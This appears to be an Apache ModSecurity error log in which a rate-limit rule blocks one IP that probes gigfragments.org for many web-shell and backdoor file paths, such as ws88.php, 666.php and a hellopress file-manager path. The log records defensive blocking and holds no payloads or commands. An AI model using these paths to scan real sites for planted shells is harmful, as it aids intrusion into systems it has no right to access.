[Mon Apr 06 01:04:35.254495 2026] [:error] [pid 51580:tid 51659] [client 158.158.72.207:51459] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adKWI1NFl1NiyNgNZAkccAAAAFQ"]
[Mon Apr 06 01:04:36.528344 2026] [:error] [pid 51584:tid 51721] [client 158.158.72.207:56928] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adKWJMZ4qY_GoNCPARAUwAAAANg"]
[Mon Apr 06 01:04:37.509181 2026] [:error] [pid 51753:tid 51832] [client 158.158.72.207:51515] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adKWJa3pmp1JkaicYbtjQwAAARU"]
[Mon Apr 06 01:04:38.324619 2026] [:error] [pid 51580:tid 51648] [client 158.158.72.207:50932] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adKWJlNFl1NiyNgNZAkcgwAAAEk"]
[Mon Apr 06 01:04:38.993833 2026] [:error] [pid 51581:tid 51693] [client 158.158.72.207:56907] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adKWJt4k74fhQLPUy7E34wAAAJc"]
[Mon Apr 06 01:04:40.041276 2026] [:error] [pid 51581:tid 51679] [client 158.158.72.207:54531] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adKWKN4k74fhQLPUy7E35wAAAIo"]
[Mon Apr 06 01:04:40.725430 2026] [:error] [pid 51753:tid 51820] [client 158.158.72.207:56906] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adKWKK3pmp1JkaicYbtjTwAAAQk"]
[Mon Apr 06 01:04:42.074753 2026] [:error] [pid 51753:tid 51826] [client 158.158.72.207:60770] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adKWKq3pmp1JkaicYbtjVwAAAQ8"]
[Mon Apr 06 01:04:43.520138 2026] [:error] [pid 51581:tid 51669] [client 158.158.72.207:64925] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adKWK94k74fhQLPUy7E36wAAAIA"]
[Mon Apr 06 01:04:44.684899 2026] [:error] [pid 51580:tid 51649] [client 158.158.72.207:50887] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adKWLFNFl1NiyNgNZAkcsAAAAEo"]
[Mon Apr 06 01:04:46.113248 2026] [:error] [pid 51580:tid 51640] [client 158.158.72.207:56945] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adKWLlNFl1NiyNgNZAkcvAAAAEE"]
[Mon Apr 06 01:04:46.980862 2026] [:error] [pid 51584:tid 51715] [client 158.158.72.207:51468] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adKWLsZ4qY_GoNCPARAUzQAAANI"]
[Mon Apr 06 01:04:47.684732 2026] [:error] [pid 51753:tid 51825] [client 158.158.72.207:49906] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adKWL63pmp1JkaicYbtjZQAAAQ4"]
[Mon Apr 06 01:04:48.351870 2026] [:error] [pid 51584:tid 51710] [client 158.158.72.207:60767] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adKWMMZ4qY_GoNCPARAU0AAAAM0"]
[Mon Apr 06 01:04:49.113195 2026] [:error] [pid 51753:tid 51836] [client 158.158.72.207:64922] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adKWMa3pmp1JkaicYbtjcgAAARg"]
[Mon Apr 06 01:04:50.400968 2026] [:error] [pid 51580:tid 51650] [client 158.158.72.207:50374] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adKWMlNFl1NiyNgNZAkc0AAAAEs"]
[Mon Apr 06 01:04:51.904504 2026] [:error] [pid 51580:tid 51639] [client 158.158.72.207:50377] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adKWM1NFl1NiyNgNZAkc2wAAAEA"]
[Mon Apr 06 01:04:53.067538 2026] [:error] [pid 51584:tid 51698] [client 158.158.72.207:60736] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adKWNcZ4qY_GoNCPARAU1wAAAME"]
[Mon Apr 06 01:04:54.196348 2026] [:error] [pid 51753:tid 51813] [client 158.158.72.207:56919] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "adKWNq3pmp1JkaicYbtjhgAAAQI"]
[Mon Apr 06 01:04:55.076163 2026] [:error] [pid 51584:tid 51699] [client 158.158.72.207:47890] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "adKWN8Z4qY_GoNCPARAU3AAAAMI"]
[Mon Apr 06 01:04:56.242081 2026] [:error] [pid 51584:tid 51698] [client 158.158.72.207:60750] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "adKWOMZ4qY_GoNCPARAU4wAAAME"]
[Mon Apr 06 01:04:57.683459 2026] [:error] [pid 51581:tid 51680] [client 158.158.72.207:50379] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "adKWOd4k74fhQLPUy7E3-QAAAIs"]
[Mon Apr 06 01:04:59.495084 2026] [:error] [pid 51580:tid 51646] [client 158.158.72.207:51503] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8daf1238_1774208172.php"] [unique_id "adKWO1NFl1NiyNgNZAkdAQAAAEc"]
[Mon Apr 06 01:05:00.140435 2026] [:error] [pid 51584:tid 51710] [client 158.158.72.207:4391] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8daf1238_1774208172.php"] [unique_id "adKWPMZ4qY_GoNCPARAU7AAAAM0"]
[Mon Apr 06 01:05:01.888605 2026] [:error] [pid 51580:tid 51645] [client 158.158.72.207:47895] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8daf1238_1774208172.php"] [unique_id "adKWPVNFl1NiyNgNZAkdDgAAAEY"]
[Mon Apr 06 01:05:02.953934 2026] [:error] [pid 51753:tid 51826] [client 158.158.72.207:51478] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8daf1238_1774208172.php"] [unique_id "adKWPq3pmp1JkaicYbtjowAAAQ8"]
[Mon Apr 06 01:05:04.333857 2026] [:error] [pid 51580:tid 51648] [client 158.158.72.207:62242] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "adKWQFNFl1NiyNgNZAkdFQAAAEk"]
[Mon Apr 06 01:05:06.483449 2026] [:error] [pid 51753:tid 51812] [client 158.158.72.207:4389] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "adKWQq3pmp1JkaicYbtjtwAAAQE"]
[Mon Apr 06 01:05:08.521162 2026] [:error] [pid 51581:tid 51671] [client 158.158.72.207:51504] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "adKWRN4k74fhQLPUy7E4CgAAAII"]
[Mon Apr 06 01:05:11.031129 2026] [:error] [pid 51753:tid 51822] [client 158.158.72.207:47913] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "adKWR63pmp1JkaicYbtjxwAAAQs"]
[Mon Apr 06 01:05:13.177887 2026] [:error] [pid 51580:tid 51653] [client 158.158.72.207:62266] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adKWSVNFl1NiyNgNZAkdJgAAAE4"]
[Mon Apr 06 01:05:15.054128 2026] [:error] [pid 51753:tid 51816] [client 158.158.72.207:4394] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adKWS63pmp1JkaicYbtj2gAAAQU"]
[Mon Apr 06 01:05:18.122897 2026] [:error] [pid 51580:tid 51653] [client 158.158.72.207:4415] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adKWTlNFl1NiyNgNZAkdMQAAAE4"]
[Mon Apr 06 01:05:20.111034 2026] [:error] [pid 51753:tid 51812] [client 158.158.72.207:62257] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adKWUK3pmp1JkaicYbtkEgAAAQE"]
[Mon Apr 06 01:05:21.919779 2026] [:error] [pid 51580:tid 51654] [client 158.158.72.207:56937] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adKWUVNFl1NiyNgNZAkdPQAAAE8"]
[Mon Apr 06 01:05:40.501505 2026] [:error] [pid 51580:tid 51657] [client 158.158.72.207:50381] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adKWZFNFl1NiyNgNZAkdcgAAAFI"]
[Mon Apr 06 01:05:42.530124 2026] [:error] [pid 51580:tid 51656] [client 158.158.72.207:62219] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adKWZlNFl1NiyNgNZAkdeAAAAFE"]
[Mon Apr 06 01:05:44.499094 2026] [:error] [pid 51753:tid 51826] [client 158.158.72.207:51461] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adKWaK3pmp1JkaicYbtkdQAAAQ8"]
[Mon Apr 06 01:05:46.580491 2026] [:error] [pid 51753:tid 51836] [client 158.158.72.207:47916] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adKWaq3pmp1JkaicYbtkgAAAARg"]
[Mon Apr 06 01:05:48.216220 2026] [:error] [pid 51753:tid 51814] [client 158.158.72.207:56927] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adKWbK3pmp1JkaicYbtkhQAAAQM"]
[Mon Apr 06 01:05:49.871162 2026] [:error] [pid 51580:tid 51647] [client 158.158.72.207:63158] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adKWbVNFl1NiyNgNZAkdlAAAAEg"]
[Mon Apr 06 01:05:52.988588 2026] [:error] [pid 51753:tid 51816] [client 158.158.72.207:47925] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adKWcK3pmp1JkaicYbtkmgAAAQU"]
[Mon Apr 06 01:05:55.050349 2026] [:error] [pid 51581:tid 51679] [client 158.158.72.207:51456] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adKWc94k74fhQLPUy7E4ewAAAIo"]
[Mon Apr 06 01:05:58.180315 2026] [:error] [pid 51584:tid 51711] [client 158.158.72.207:47918] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adKWdsZ4qY_GoNCPARAVQQAAAM4"]
[Mon Apr 06 01:06:00.820435 2026] [:error] [pid 51580:tid 51649] [client 158.158.72.207:4378] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adKWeFNFl1NiyNgNZAkdsgAAAEo"]
[Mon Apr 06 01:06:02.822594 2026] [:error] [pid 51584:tid 51704] [client 158.158.72.207:63116] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adKWesZ4qY_GoNCPARAVTwAAAMc"]
[Mon Apr 06 01:06:05.950529 2026] [:error] [pid 51753:tid 51828] [client 158.158.72.207:63125] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adKWfa3pmp1JkaicYbtk3AAAARE"]
[Mon Apr 06 01:06:07.460640 2026] [:error] [pid 51753:tid 51811] [client 158.158.72.207:50405] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "adKWf63pmp1JkaicYbtk6AAAAQA"]
[Mon Apr 06 01:06:08.994760 2026] [:error] [pid 51580:tid 51649] [client 158.158.72.207:56910] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "adKWgFNFl1NiyNgNZAkdwwAAAEo"]
[Mon Apr 06 01:06:10.361477 2026] [:error] [pid 51753:tid 51817] [client 158.158.72.207:60761] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "adKWgq3pmp1JkaicYbtk9QAAAQY"]
[Mon Apr 06 01:06:11.642816 2026] [:error] [pid 51581:tid 51670] [client 158.158.72.207:62241] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "adKWg94k74fhQLPUy7E4mAAAAIE"]
[Mon Apr 06 01:06:14.404151 2026] [:error] [pid 51581:tid 51682] [client 158.158.72.207:62239] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adKWht4k74fhQLPUy7E4mgAAAI0"]
[Mon Apr 06 01:06:17.592224 2026] [:error] [pid 51580:tid 51663] [client 158.158.72.207:54558] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adKWiVNFl1NiyNgNZAkd8AAAAFg"]
[Mon Apr 06 01:06:20.929338 2026] [:error] [pid 51580:tid 51643] [client 158.158.72.207:4382] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adKWjFNFl1NiyNgNZAkeAAAAAEQ"]
[Mon Apr 06 01:06:22.561800 2026] [:error] [pid 51584:tid 51708] [client 158.158.72.207:51476] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "adKWjsZ4qY_GoNCPARAVcAAAAMs"]
